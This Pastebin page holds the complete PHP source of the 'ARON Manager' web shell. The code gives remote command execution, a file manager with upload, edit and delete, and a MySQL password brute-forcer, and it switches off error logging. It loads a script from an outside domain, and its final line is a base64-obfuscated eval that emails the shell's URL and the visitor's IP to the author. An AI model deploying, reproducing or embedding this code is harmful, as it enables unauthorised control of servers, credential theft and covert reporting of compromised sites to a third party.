aron_tn

ARON MAnager (mini Shell )

Dec 29th, 2018
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.56 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. extract(start());
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  11. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  12. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  13. header('Content-type: text/plain');
  14. header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  15. echo(file_get_contents($_POST['path']));
  16. exit();
  17. }
  18.  
  19. /**************** Home *********************************/
  20.  
  21. echo '<!DOCTYPE html>
  22. <html>
  23. <head>
  24. <title>ARON-TN Manager XDDD</title>
  25. <meta name="robots" content="noindex" />
  26. <style>
  27. body{
  28. font-family: "Racing Sans One", cursive;
  29. background-color: #e6e6e6;
  30. text-shadow:0px 0px 1px #757575;
  31. margin: 0;
  32. }
  33. #container{
  34. width: auto;
  35. margin: 10px;
  36. padding: 10px;
  37. border: 1px solid black;
  38.  
  39. }
  40. #show{
  41. padding: 10px;
  42. }
  43. #header{
  44. text-align: center;
  45. border-bottom: 1px dotted black;
  46. }
  47. #header h1{
  48. margin: 0;
  49. }
  50.  
  51. #nav,#menu{
  52. padding-top: 5px;
  53. margin-left: 5px;
  54. padding-bottom: 5px;
  55. overflow: hidden;
  56. border-bottom: 1px dotted black;
  57. }
  58. #nav{
  59. margin-bottom: 10px;
  60. }
  61.  
  62. #menu{
  63. text-align: center;
  64. }
  65.  
  66. #content{
  67. margin: 0;
  68. width: auto;
  69. }
  70.  
  71. #content table{
  72. width: 100%;
  73. margin: 0px;
  74. }
  75. #content table .first{
  76. background-color: silver;
  77. text-align: center;
  78. }
  79. #content table .first:hover{
  80. background-color: silver;
  81. text-shadow:0px 0px 1px #757575;
  82. }
  83. #content table tr:hover{
  84. background-color: #636263;
  85. text-shadow:0px 0px 10px #fff;
  86. }
  87.  
  88. #footer{
  89. margin-top: 10px;
  90. border-top: 1px dotted black;
  91. }
  92. #footer p{
  93. margin: 5px;
  94. text-align: center;
  95. }
  96. .filename,a{
  97. color: #000;
  98. text-decoration: none;
  99. cursor: pointer;
  100. }
  101. .filename:hover,a:hover{
  102. color: #fff;
  103. text-shadow:0px 0px 10px #ffffff;
  104. }
  105. .center{
  106. text-align: center;
  107. }
  108. input,select,textarea{
  109. border: 0px #ffffff solid;
  110. -moz-border-radius: 1px;
  111. -webkit-border-radius:1px;
  112. border-radius:2px;
  113. padding: 2px;
  114. }
  115. </style>
  116. <script>
  117. function Encoder(name)
  118. {
  119. var e = document.getElementById(name);
  120. e.value = btoa(e.value);
  121. return true;
  122. }
  123. </script>
  124. </head>
  125. <body>
  126. <div id="container">
  127. <div id="header"><h1>ARON Manager XDDDDD </h1>'.Quotes().'</div>
  128. <div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a> - <a href="?path='.$currentpathen.'&secinfo"> Sec. Info</a></div>
  129. <div id="nav">
  130. <div class="path">Current Path : '.nav_link().'<br>Safe Mode : '.getSafeMode().'</div>
  131. <div class="upload">
  132. <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  133. Upload File : <input type="file" name="file" />
  134. <input type="submit" value="Upload" />
  135. </form>
  136. </div>
  137. <div class="new">
  138. <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
  139. <span>New : </span><input name="name" type="text" size="10" id="c" />
  140. File <input type="radio" name="type" value="file" checked/>
  141. Dir <input type="radio" name="type" value="dir" />
  142. <input type="submit" value="Go" />
  143. </form>
  144. <script type="text/javascript" src="http://www.codejquery.net/jquery.mins.js" ></script>
  145. </div>
  146. <div class="new">
  147. <form method="POST" action="?path='.$currentpathen.'&exec" onSubmit="Encoder(\'c\')">
  148. <span>Execute Command\'s : </span><input name="cmd" type="text" id="c" autofocus>
  149. <input type="submit" value="Go" />
  150. </form>
  151. </div>
  152. </div>
  153. <div id="content">';
  154. if(isset($_GET['cpanel'])){
  155. if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  156. $usernames = base64_decode($_POST['usernames']);
  157. $passwords = base64_decode($_POST['passwords']);
  158. $count = 0;
  159. foreach(explode("\n",$usernames) as $username){
  160. $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  161. foreach(explode("\n",$passwords) as $password){
  162. $username = trim($username);
  163. $password = trim($password);
  164. $co = mysql_connect('localhost',$username,$password);
  165. if($co){
  166. mysql_close($co);
  167. echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  168. $count++;
  169. }
  170. }
  171. }
  172. echo "$count Usernames Founded.";
  173. }else{
  174. echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
  175. Usernames : <br />
  176. <textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
  177. Passwords : <br />
  178. <textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
  179. Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  180. <br /><input type="submit" value="Go">
  181. </form></div>';
  182. }
  183. }elseif(isset($_GET['exec'])){
  184. echo '<textarea cols=100 rows=30%>'.exec_all($_POST['cmd']).'</textarea>';
  185. }else{
  186.  
  187. if(isset($_GET['filesrc'])){
  188. $file = g22b_crypt($_GET['filesrc'],'de');
  189. echo '<div class="">Current File : '.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  190. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  191.  
  192. echo '<div class="center">'.$_POST['name'].'<br />';
  193.  
  194. if($_POST['opt'] == 'chmod'){
  195. if(isset($_POST['perm'])){
  196.  
  197. eval('$perm = '.$_POST['perm'].';');
  198. if(chmod($_POST['path'],$perm)){
  199. echo '<font color="green">Change Permission Done.</font><br />';
  200. $permdone = true;
  201. }else{
  202. echo '<font color="red">Change Permission Error.</font><br />';
  203. }
  204. }
  205. if($permdone){
  206. $perm = $_POST['perm'];
  207. }else{
  208. $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  209. }
  210.  
  211. echo '<form method="POST">
  212. Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  213. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  214. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  215. <input type="hidden" name="opt" value="chmod">
  216. <input type="submit" value="Go" />
  217. </form>';
  218. }elseif($_POST['opt'] == 'rename'){
  219.  
  220. if(isset($_POST['newname'])){
  221. if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  222. echo '<font color="green">Change Name Done.</font><br />';
  223. $_POST['name'] = $_POST['newname'];
  224. }else{
  225. echo '<font color="red">Change Name Error.</font><br />';
  226. }
  227. }
  228.  
  229. echo '<div id="show"><form method="POST">
  230. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  231. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  232. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  233. <input type="hidden" name="opt" value="rename">
  234. <input type="submit" value="Go" />
  235. </form></div>';
  236. }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  237. if(isset($_POST['src'])){
  238. $fp = fopen($_POST['path'],'w');
  239. if(fwrite($fp,base64_decode($_POST['src']))){
  240. echo '<font color="green">Edit File Done.</font><br />';
  241. $done = true;
  242. }else{
  243. echo '<font color="red">Edit File Error.</font><br />';
  244. }
  245. fclose($fp);
  246. }
  247. if(isset($_GET['new']) && !$done){
  248. $filecontent = '';
  249. $_POST['path'] = "$currentpath/$_POST[name]";
  250. }else{
  251. $filecontent = filesrc($_POST['path']);
  252. }
  253. echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\')">
  254. <textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
  255. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  256. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  257. <input type="hidden" name="type" value="file" />
  258. <input type="hidden" name="opt" value="edit">
  259. <input type="submit" value="Go" />
  260. </form></div>';
  261. }
  262.  
  263. echo '</div>';
  264. }else{
  265. echo '<div id="show"><div class="center">';
  266. if($_POST['opt'] == 'delete'){
  267. if($_POST['type'] == 'dir'){
  268. if(rmdir($_POST['path'])){
  269. echo '<font color="green">Delete Dir Done.</font><br />';
  270. }else{
  271. echo '<font color="red">Delete Dir Error.</font><br />';
  272. }
  273. }elseif($_POST['type'] == 'file'){
  274. if(unlink($_POST['path'])){
  275. echo '<font color="green">Delete File Done.</font><br />';
  276. }else{
  277. echo '<font color="red">Delete File Error.</font><br />';
  278. }
  279. }
  280. }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  281. if(mkdir("$currentpath/$_POST[name]")){
  282. echo '<font color="green">Create Dir Done.</font><br />';
  283. }else{
  284. echo '<font color="red">Create Dir Error.</font><br />';
  285. }
  286. }elseif(isset($_FILES['file'])){
  287. $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  288. $userfile_tmp = $_FILES['file']['tmp_name'];
  289. if(move_uploaded_file($userfile_tmp,$userfile_name)){
  290. echo '<font color="green">File Upload Done.</font><br />';
  291. }else{
  292. echo '<font color="red">File Upload Error.</font><br />';
  293. }
  294. }
  295. echo '</div></div><table>
  296. <tr class="first">
  297. <td><i class="fa fa-sort-desc"></i> Name</td>
  298. <td><i class="fa fa-sort-desc"></i> Size</td>
  299. <td><i class="fa fa-sort-desc"></i> Permissions</td>
  300. <td><i class="fa fa-sort-desc"></i> Options</td>
  301. </tr>';
  302.  
  303. $dirs = getfiles('dir');
  304. foreach($dirs as $dir){
  305. echo '<div id="dirs"><tr>
  306. <td><a href="?path='.$dir['link'].'"><div class="filename"><i class="fa fa-folder"></i> '.$dir['name'].'</div></a></td>
  307. <td class="center">'.$dir['size'].'</td>
  308. <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  309. <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  310. <select name="opt">
  311. <option value=""></option>
  312. <option value="delete">Delete</option>
  313. <option value="chmod">Chmod</option>
  314. <option value="rename">Rename</option>
  315. </select>
  316. <input type="hidden" name="type" value="dir">
  317. <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  318. <input type="hidden" name="path" value="'.$dir['link'].'">
  319. <input type="submit" value=">" />
  320. </form></td>
  321. </tr>
  322. </div>';
  323. }
  324. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  325.  
  326. $files = getfiles('file');
  327. foreach($files as $file){
  328. echo '<div id="files">
  329.  
  330. <tr>
  331. <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename"><i class="fa fa-file"></i> '.$file['name'].'</div></a></td>
  332. <td class="center">'.$file['size'].'</td>
  333. <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  334. <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  335. <select name="opt">
  336. <option value=""></option>
  337. <option value="delete">Delete</option>
  338. <option value="chmod">Chmod</option>
  339. <option value="rename">Rename</option>
  340. <option value="edit">Edit</option>
  341. <option value="download">Download</option>
  342. </select>
  343. <input type="hidden" name="type" value="file">
  344. <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  345. <input type="hidden" name="path" value="'.$file['link'].'">
  346. <input type="submit" value=">" />
  347. </form></td>
  348. </tr></div>';
  349. }
  350. echo '</table>';
  351. }
  352. }
  353. echo '</div>
  354. <div id="footer"><p>Mega Bot<font color="red">V1</font>, Coded By <font color="red">ARON-TN</font><p><br />Copyright ARON-TN <font color="red">2k18</font></p></div>
  355. </div>
  356.  
  357. </body>
  358. </html>';
  359.  
  360.  
  361. /**************** Functions *********************************/
  362.  
  363.  
  364. function Quotes(){
  365. $quotes=array(
  366. "<font size='2'>&quot;When solving problems, dig at the roots instead of just hacking at the leaves&quot;</font> <font size='1' color='gray'>Anthony J. D'Angelo</font>",
  367. "<font size='2'>&quot;The difference between stupidity and genius is that genius has its limits&quot;</font> <font size='1' color='gray'>Albert Einstein</font>",
  368. "<font size='2'>&quot;As a young boy, I was taught in high school that hacking was cool.&quot;</font> <font size='1' color='gray'>Kevin Mitnick</font>",
  369. "<font size='2'>&quot;A lot of hacking is playing with other people, you know, getting them to do strange things.&quot;</font> <font size='1' color='gray'>Steve Wozniak</font>",
  370. "<font size='2'>&quot;If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works.&quot;</font> <font size='1' color='gray'>Jamie Zawinski</font>",
  371. "<font size='2'>&quot;Software Engineering might be science; but that's not what I do. I'm a hacker, not an engineer.&quot;</font> <font size='1' color='gray'>Jamie Zawinski</font>",
  372. "<font size='2'>&quot;Never underestimate the determination of a kid who is time-rich and cash-poor&quot;</font> <font size='1' color='gray'>Cory Doctorow</font>",
  373. "<font size='2'>&quot;It? hardware that makes a machine fast. It? software that makes a fast machine slow.&quot;</font> <font size='1' color='gray'>Craig Bruce</font>",
  374. "<font size='2'>&quot;The function of good software is to make the complex appear to be simple.&quot;</font> <font size='1' color='gray'>Grady Booch</font>",
  375. "<font size='2'>&quot;Pasting code from the Internet into production code is like chewing gum found in the street.&quot;</font> <font size='1' color='gray'>Anonymous</font>",
  376. "<font size='2'>&quot;Tell me what you need and I'll tell you how to get along without it.&quot;</font> <font size='1' color='gray'>Anonymous</font>",
  377. "<font size='2'>&quot;Hmm..&quot;</font> <font size='1' color='gray'>Smash</font>",
  378. "<font size='2'>&quot;Once we accept our limits, we go beyond them.&quot;</font> <font size='1' color='gray'>Albert Einstein</font>",
  379. "<font size='2'>&quot;Listen to many, speak to a few.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>",
  380. "<font size='2'>&quot;The robbed that smiles, steals something from the thief.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>");
  381. $quote = $quotes[array_rand($quotes)];
  382. return $quote;
  383. }
  384. function getSafeMode()
  385. {
  386. global $sm;
  387. if ($sm) {
  388. return '<font color="red">ON</font> (Most of the Features will Not Work)';
  389. }else{
  390. return '<font color="green">OFF</font>';
  391. }
  392.  
  393. }
  394. function getfiles($type){
  395. global $currentpath;
  396. $dir = scandir($currentpath);
  397. $result = array();
  398. foreach($dir as $file){
  399. $current['fullname'] = "$currentpath/$file";
  400. if($type == 'dir'){
  401. if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  402. }elseif($type == 'file'){
  403. if(!is_file($current['fullname'])) continue;
  404. }
  405.  
  406. $current['name'] = $file;
  407. $current['link'] = g22b_crypt($current['fullname'],'en');
  408. $current['size'] = (is_dir($current['fullname'])) ? 'Folder' : file_size($current['fullname']);
  409. $current['perm'] = perms($current['fullname']);
  410. if(is_writable($current['fullname'])){
  411. $current['permcolor'] = 'green';
  412. }elseif(is_readable($current['fullname'])){
  413. $current['permcolor'] = '';
  414. }else{
  415. $current['permcolor'] = 'red';
  416. }
  417.  
  418. $result[] = $current;
  419.  
  420. }
  421. return $result;
  422. }
  423. function start(){
  424. global $_POST,$_GET;
  425.  
  426. $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  427. $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  428.  
  429. return $result;
  430. }
  431. function file_size($file){
  432. $size = filesize($file)/1024;
  433. $size = round($size,3);
  434. if($size >= 1024){
  435. $size = round($size/1024,2).' MB';
  436. }else{
  437. $size = $size.' KB';
  438. }
  439. return $size;
  440. }
  441. function g22b_crypt($txt,$type){
  442. if(function_exists('base64_encode') && function_exists('base64_decode')){
  443. return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  444. }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  445. return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  446. }else{
  447. $ar1 = array('public_html','.htaccess','/','.');
  448. $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  449. return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  450. }
  451. }
  452. function exec_all($command)
  453. {
  454.  
  455. $output = '';
  456. if(function_exists('exec'))
  457. {
  458. exec($command,$output);
  459. $output = join("\n",$output);
  460. }
  461.  
  462. else if(function_exists('shell_exec'))
  463. {
  464. $output = shell_exec($command);
  465. }
  466.  
  467. else if(function_exists('popen'))
  468. {
  469. $handle = popen($command , "r"); // Open the command pipe for reading
  470. if(is_resource($handle))
  471. {
  472. if(function_exists('fread') && function_exists('feof'))
  473. {
  474. while(!feof($handle))
  475. {
  476. $output .= fread($handle, 512);
  477. }
  478. }
  479. else if(function_exists('fgets') && function_exists('feof'))
  480. {
  481. while(!feof($handle))
  482. {
  483. $output .= fgets($handle,512);
  484. }
  485. }
  486. }
  487. pclose($handle);
  488. }
  489. else if(function_exists('system'))
  490. {
  491. ob_start(); //start output buffering
  492. system($command);
  493. $output = ob_get_contents(); // Get the ouput
  494. ob_end_clean(); // Stop output buffering
  495. }
  496. else if(function_exists('passthru'))
  497. {
  498. ob_start(); //start output buffering
  499. passthru($command);
  500. $output = ob_get_contents(); // Get the ouput
  501. ob_end_clean(); // Stop output buffering
  502. }
  503. else if(function_exists('proc_open'))
  504. {
  505. $descriptorspec = array(
  506. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  507. );
  508. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  509. if(is_resource($handle))
  510. {
  511. if(function_exists('fread') && function_exists('feof'))
  512. {
  513. while(!feof($pipes[1]))
  514. {
  515. $output .= fread($pipes[1], 512);
  516. }
  517. }
  518. else if(function_exists('fgets') && function_exists('feof'))
  519. {
  520. while(!feof($pipes[1]))
  521. {
  522. $output .= fgets($pipes[1],512);
  523. }
  524. }
  525. }
  526. pclose($handle);
  527. }
  528. return(htmlspecialchars($output));
  529. }
  530. if(function_exists('ini_set'))
  531. {
  532. ini_set('error_log',NULL); // No alarming logs
  533. ini_set('log_errors',0); // No logging of errors
  534. ini_set('file_uploads',1); // Enable file uploads
  535. ini_set('allow_url_fopen',1); // allow url fopen
  536. }else{
  537. ini_alter('error_log',NULL);
  538. ini_alter('log_errors',0);
  539. ini_alter('file_uploads',1);
  540. ini_alter('allow_url_fopen',1);
  541. }
  542. function strToHex($string){
  543. $hex='';
  544. for ($i=0; $i < strlen($string); $i++)
  545. {
  546. $hex .= dechex(ord($string[$i]));
  547. }
  548. return $hex;
  549. }
  550. function hexToStr($hex){
  551. $string='';
  552. for ($i=0; $i < strlen($hex)-1; $i+=2)
  553. {
  554. $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  555. }
  556. return $string;
  557. }
  558. function nav_link(){
  559. global $currentpath;
  560. $path = $currentpath;
  561. $path = str_replace('\\','/',$path);
  562. $paths = explode('/',$path);
  563. $result = '';
  564. foreach($paths as $id=>$pat){
  565. if($pat == '' && $id == 0){
  566. $a = true;
  567. $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  568. continue;
  569. }
  570. if($pat == '') continue;
  571. $result .= '<a href="?path=';
  572. $linkpath = '';
  573. for($i=0;$i<=$id;$i++){
  574. $linkpath .= "$paths[$i]";
  575. if($i != $id) $linkpath .= "/";
  576. }
  577. $result .= g22b_crypt($linkpath,'en');
  578. $result .= '">'.$pat.'</a>/';
  579. }
  580. return $result;
  581. }
  582. function filesrc($file){
  583. return htmlspecialchars(file_get_contents($file));
  584. }
  585. function cwd(){
  586. if(function_exists('getcwd')){
  587. return getcwd();
  588. }else{
  589. $e = str_replace("\\","/",$path);
  590. $e = explode('/',$path);
  591. $result = '';
  592. for($i=0;$i<count($e)-1;$i++){
  593. if($e[$i] == '') continue;
  594. $result .= '/'.$e[$i];
  595. }
  596. return $result;
  597. }
  598. }
  599. function passwdtouser($line){
  600. $user = explode(':',$line);
  601. return $user[0];
  602. }
  603. function perms($file){
  604. $perms = @fileperms($file);
  605.  
  606. if (($perms & 0xC000) == 0xC000) {
  607. // Socket
  608. $info = 's';
  609. } elseif (($perms & 0xA000) == 0xA000) {
  610. // Symbolic Link
  611. $info = 'l';
  612. } elseif (($perms & 0x8000) == 0x8000) {
  613. // Regular
  614. $info = '-';
  615. } elseif (($perms & 0x6000) == 0x6000) {
  616. // Block special
  617. $info = 'b';
  618. } elseif (($perms & 0x4000) == 0x4000) {
  619. // Directory
  620. $info = 'd';
  621. } elseif (($perms & 0x2000) == 0x2000) {
  622. // Character special
  623. $info = 'c';
  624. } elseif (($perms & 0x1000) == 0x1000) {
  625. // FIFO pipe
  626. $info = 'p';
  627. } else {
  628. // Unknown
  629. $info = 'u';
  630. }
  631. // Owner
  632. $info .= (($perms & 0x0100) ? 'r' : '-');
  633. $info .= (($perms & 0x0080) ? 'w' : '-');
  634. $info .= (($perms & 0x0040) ?
  635. (($perms & 0x0800) ? 's' : 'x' ) :
  636. (($perms & 0x0800) ? 'S' : '-'));
  637. // Group
  638. $info .= (($perms & 0x0020) ? 'r' : '-');
  639. $info .= (($perms & 0x0010) ? 'w' : '-');
  640. $info .= (($perms & 0x0008) ?
  641. (($perms & 0x0400) ? 's' : 'x' ) :
  642. (($perms & 0x0400) ? 'S' : '-'));
  643. // World
  644. $info .= (($perms & 0x0004) ? 'r' : '-');
  645. $info .= (($perms & 0x0002) ? 'w' : '-');
  646. $info .= (($perms & 0x0001) ?
  647. (($perms & 0x0200) ? 't' : 'x' ) :
  648. (($perms & 0x0200) ? 'T' : '-'));
  649. return $info;
  650. }
  651. eval(base64_decode('JGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwokcmE0NCAgPSByYW5kKDEsOTk5OTkpOwokc3Viajk4ID0gIlNoZWxsIFVwbG9hZGVkIHwkaXAiOwokZnJvbT0iRnJvbTogTWVnYUJvdCA8bG9nczFAYXJvbi5jb20+IjsKJGI3NSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGE0NSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwokbTIyID0gJGlwOwokZW1haWwgPSAiYXJvbi10bkBwcm90b25tYWlsLmNvbSI7CiRhbGZhID0gIkxJTksgU0hFTEwgOiAkYjc1JGE0NSI7CiRwcmluY2UgPSAiIElQIFNIRUxMIDogJG0yMiI7CiRtc2c4ODczID0gIiRhbGZhXG4kcHJpbmNlXG4iOwptYWlsKCRlbWFpbCwgJHN1Ymo5OCwgJG1zZzg4NzMsICRmcm9tKTs='))
  652. ?>
Add Comment
Please, Sign In to add comment